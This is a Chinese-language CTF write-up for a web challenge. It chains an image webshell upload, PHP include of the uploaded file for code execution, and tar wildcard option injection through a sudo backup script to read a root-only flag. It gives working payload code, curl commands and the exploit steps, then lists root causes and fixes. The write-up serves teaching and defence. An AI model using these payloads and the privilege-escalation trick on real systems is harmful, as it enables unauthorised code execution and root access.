| 项目 | 内容 |
|---|---|
| 分类 / 难度 | Web / Hard |
| 类型 | 图片马上传 → 本地文件包含 RCE → sudo tar 通配符参数注入提权 |
| 入口 | /upload + /preview |
| 目标 | 读取 /flag(0600 root,www-data 直接不可读) |
1. 界面观察
AssetDesk 是一个视觉素材审阅台:上传素材、预览素材、下载素材、下载备份。
GET / 工作台
POST /upload 上传素材(只接受图片)
GET /preview?id=<8hex> 素材预览
GET /download?id=<8hex> 素材下载
GET /backup 下载最新备份 app-backup.tar.gz
GET /ops/health 节点健康检查
2. 第一跳:上传校验只看图片头
/upload 的校验逻辑:
if (($f['size'] ?? PHP_INT_MAX) > 1024 * 1024) { page('文件过大', 400); }
$info = @getimagesize($f['tmp_name']);
if ($info === false) { page('仅接受有效图片。', 400); }
$allowedMimes = ['image/jpeg', 'image/png', 'image/webp'];
if (!in_array($info['mime'] ?? '', $allowedMimes, true)) { page('不支持的图片类型。', 400); }
$id = bin2hex(random_bytes(4));
$stored = UPLOAD_DIR . '/' . $id . '.dat';
if (!move_uploaded_file($f['tmp_name'], $stored)) { page('无法存储上传', 500); }
getimagesize() 只看文件头,后面的内容照样原样落盘。存成 .dat 后缀、放在 web root 之外 —— 单看这一步它是安全的。
3. 第二跳:/preview 把上传文件当 PHP 执行
上一步传上去的 .dat 文件在 web root 外面,直接 GET /uploads/xxx.dat 是 404,看上去这条路走不通。
但 /preview 不一样。先按正常用法访问一次 preview,注意响应是一个 <pre> 包着的内容块,说明服务端是把文件读出来再输出的。那就有个问题:如果它是在读文件内容,读的方式是什么?
拿最容易区分的一种情况试探——把 PHP 代码放进图片尾部:
<?php echo "P1\n"; ?>
重新传一张带这段尾巴的 PNG,再 preview:
P1
代码被执行了。 说明 /preview 不是 readfile() 而是 include,而 include 只按内容判断,不认扩展名——.dat 后缀挡不住。
再确认一次执行上下文:
<?php echo "P1\n"; system("id"); ?>
P1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE,身份 www-data。到这里第一跳(图片马)和第二跳(LFI-as-RCE)都通了。
构造 payload:一张最小的合法 PNG + 尾部 PHP 代码。
import struct, zlib
def png(w, h):
def ck(t, d):
c = t + d
return struct.pack(">I", len(d)) + c + struct.pack(">I", zlib.crc32(c) & 0xffffffff)
raw = b"".join(b"\x00" + b"\xff\x00\x00" * w for _ in range(h))
return (b"\x89PNG\r\n\x1a\n"
+ ck(b"IHDR", struct.pack(">IIBBBBB", w, h, 8, 2, 0, 0, 0))
+ ck(b"IDAT", zlib.compress(raw))
+ ck(b"IEND", b""))
php = r'''<?php
echo "BEGIN\n";
system("id");
echo "DONE\n";
'''
open("shell.png", "wb").write(png(8, 8) + php.encode())
上传:
curl -F '[email protected];type=image/png' http://target/upload
# 资产 ID:<code>929cb870</code>
访问 preview:
curl 'http://target/preview?id=929cb870'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE 到手,身份 www-data。
注意 payload 里那个 echo "BEGIN\n" 不是装饰——<pre> 里 PNG 的二进制前导会污染输出,先打个标记方便定位。另外 ob_start() + ob_get_clean() 的输出后面还有一层基于 __YQHL_CMD_BEGIN__ 标记的截断逻辑,不打这个标记就什么都没了;打了标记反而正好命中截断点,输出更干净。
4. 第三跳:/flag 读不动,得提权
$ cat /flag
cat: /flag: Permission denied
/flag 是 0600 root,www-data 直接读不动。翻一下系统里有什么可用的:
$ ls -l /app /etc/sudoers.d /var/lib/app 2>/dev/null
-rwxr-xr-x 1 root root /app/backup-helper
-r--r----- 1 root root /etc/sudoers.d/yqhl-backup
drwx-wx-wx 1 root root /var/lib/app/backupqueue
两个可疑点:一个 root 拥有的 helper,一份 sudoers 条目,还有一个权限是 733 的目录(www-data 在这个目录里能建文件、能删文件,但不能列目录)。
$ cat /app/backup-helper
#!/bin/bash
set -e
cd /var/lib/app/backupqueue
/usr/bin/tar -czf /var/backups/app-backup.tar.gz *
chmod 0644 /var/backups/app-backup.tar.gz
$ cat /etc/sudoers.d/yqhl-backup
www-data ALL=(root) NOPASSWD: /app/backup-helper
www-data 可以无密码以 root 跑这个脚本。而脚本里的 tar 写的是 tar -czf ... *——通配符展开后直接拼进命令行,没有 -- 分隔。
这就有了经典的通配符参数注入:目录里凡是 - 开头的文件,都会被 tar 当成选项。而那个 733 的目录,正好允许 www-data 往里面放文件。
4.1 关键限制:文件名不能含 /
这是我踩的最久的坑。--checkpoint-action=exec=cp /flag /var/backups/x 这种写法看起来最直接,但斜杠在文件名里非法:
touch -- '--checkpoint-action=exec=cp /flag /tmp/x'
# touch: cannot touch '--checkpoint-action=exec=cp /flag /tmp/x': No such file or directory
同理 ./runme、/bin/cat、../../.. 全部写不进文件名。所以要么命令自身不含斜杠,要么用别的手段让 tar 去读 /flag。
4.2 转用 --dereference + 软链
--dereference(tar 的 -h)让 tar 跟随符号链接取目标内容,而不是只记录链接本身。它不含斜杠,可以当文件名。
流程:
$q = "/var/lib/app/backupqueue";
foreach (@scandir($q) as $f) { if ($f !== '.' && $f !== '..') @unlink("$q/$f"); }
@symlink("/flag", "$q/flaglink"); // 指向 /flag 的软链
file_put_contents("$q/--dereference", ""); // 让 tar 跟随软链
file_put_contents("$q/pad.png", "P"); // 占位文件,避免 "空归档" 报错
system("/usr/bin/sudo -n /app/backup-helper 2>&1", $rc);
软链的目标路径写在 PHP 代码里,不受文件名限制;受限的只是文件名本身。
4.3 为什么必须走 web 而不是手工跑
手动以 www-data 身份跑 helper 会失败:
$ sudo -n -u www-data /app/backup-helper
/usr/bin/tar: flaglink: Cannot open: Permission denied
因为那时 tar 是 www-data,读不了 /flag。但通过 web 触发时,system() 里的 sudo -n /app/backup-helper 是按 sudoers 规则以 root 运行的 —— tar 有权限读 /flag,--dereference 就能把它打进归档。
5. 完整利用
Step 1:上传 RCE 图片马
# shell.png = PNG 头 + <?php ... ?>
curl -F '[email protected];type=image/png' http://target/upload
# -> 资产 ID: 929cb870
Step 2:通过 /preview 执行第二阶段 payload
图片马尾部放"重置 queue → 建软链 → 放 --dereference → 触发 root 备份":
<?php
$q = "/var/lib/app/backupqueue";
foreach (@scandir($q) as $f) { if ($f !== '.' && $f !== '..') @unlink("$q/$f"); }
@symlink("/flag", "$q/flaglink");
file_put_contents("$q/--dereference", "");
file_put_contents("$q/pad.png", "P");
system("/usr/bin/sudo -n /app/backup-helper 2>&1", $rc);
echo "rc=$rc\n";
访问 /preview?id=<id> 后,返回:
queue: --dereference|.|..|flaglink|pad.png
is_link: yes
rc=0
backup size: 196
DONE
backup size: 196 —— 比新建时明显变大,说明 /flag 的内容已经被打进去。
Step 3:下载备份取 flag
/backup 无鉴权,root 写出的归档是 0644:
curl -o backup.tgz http://target/backup
tar -xzf backup.tgz -C ./out
cat ./out/flaglink
flag{local_verify_w03}
6. 踩坑记录
| 现象 | 原因 | 解法 |
|---|---|---|
touch: cannot touch '--checkpoint-action=exec=cp /flag /tmp/x' |
文件名不能含 / |
改用不含斜杠的选项(--dereference),把路径写在 PHP 代码里 |
--checkpoint-action=exec=sh${IFS}runme → shrunme: not found |
tar 用 execve 直接执行,不经过 shell,${IFS} 不展开 |
别指望 shell 语法,用能被 PATH 解析的程序名 |
--checkpoint-action=exec=runme → runme: not found |
tar 的执行 PATH 是 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,不含当前目录 |
同上,或换方案 |
--checkpoint-action=exec=cp /flag ... → cp 跑完但备份里没有 |
cp 覆盖的是 app-backup.tar.gz 本身,随后被 tar 写回覆盖 |
目标文件不能是备份文件自身 |
手动 sudo -u www-data 跑 helper,Cannot open: Permission denied |
手工运行时 tar 是 www-data,读不了 /flag |
必须经 web → sudo → root |
--checkpoint-action=exec 单写 → exec: unknown checkpoint action |
exec 后面必须跟命令 |
不是本题的路子 |
tar: Cowardly refusing to create an empty archive |
目录里只有 -- 开头的文件,* 展开为空 |
塞一个正常文件(pad.png)占位 |
下载到的归档很小、里面没有 flaglink 内容 |
以为 --dereference 没生效 |
手工以 www-data 跑 helper 时 tar 也是 www-data,读不了 /flag,软链被跳过。必须经 web 触发 sudo 才是 root |
想验证 /flag 内容但它是空的 |
本地起容器时没注入 flag 环境变量 | 题目环境由平台注入;本地复现时用 docker exec -u 0 手写一个已知内容进去 |
7. 漏洞成因与修复
成因
- 上传校验只看文件头(
getimagesize),尾部可任意拼接代码,这是"图片马"的经典前提。 include了用户上传的文件。扩展名隔离(.dat+ 目录在 web root 外)防的是"直接访问执行",防不住"被 include 执行"。这是本题的核心洞。tar -czf ... *未做--分隔,目录可写时形成通配符参数注入(wildcard injection)。这是 2019 年WildWildWest那类问题的翻版。backupqueue权限733,让低权限用户可以直接投放以-开头的文件名。/backup无鉴权,进一步降低了取数据的门槛。/preview的ob_start+ 输出过滤用标记截断,只处理"输出位置",不处理"根本不该执行"。
修复建议
- 永不
include用户上传的文件。预览应该走"解码图片 → 输出缩略图"的纯数据路径:imagecreatefrompng()+imagepng(),把上传内容当二进制读,绝不送进 PHP 解释器。 - 上传落盘用随机名 + 显式扩展名(
.png),并放在文件系统级别不可执行的位置; tar调用改成/usr/bin/tar -czf out.tgz -- *(加--),或干脆用--null --files-from=-从 stdin 读文件列表;更好的做法是 PHP 里枚举文件名后逐个传入,不经过 shell 通配;backupqueue目录权限收到0700(仅 root 可写),低权限进程不应能往这里放文件;/backup加鉴权,或改为按任务 id 下载自己的归档;- 备份进程用最小权限运行,不要给
www-data任何(root) NOPASSWD条目。
8. 小结
三跳:图片马(绕过图片校验)→ LFI-as-RCE(include 不看扩展名)→ tar 通配符注入 + sudo 提权(拿到 root 才能读 0600 的 flag)。
第三跳的唯一难点是"文件名不能含 /",逼着放弃 --checkpoint-action=exec=<带路径的命令>,转而去寻找只用一个不含斜杠的选项就能改变 tar 行为的方案 —— --dereference 配合预先建好的软链,正好满足。
Flag:flag{local_verify_w03}